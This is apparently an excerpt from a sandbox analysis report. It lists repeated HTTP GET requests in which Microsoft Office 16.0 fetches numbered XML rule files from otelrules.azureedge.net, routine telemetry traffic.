Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
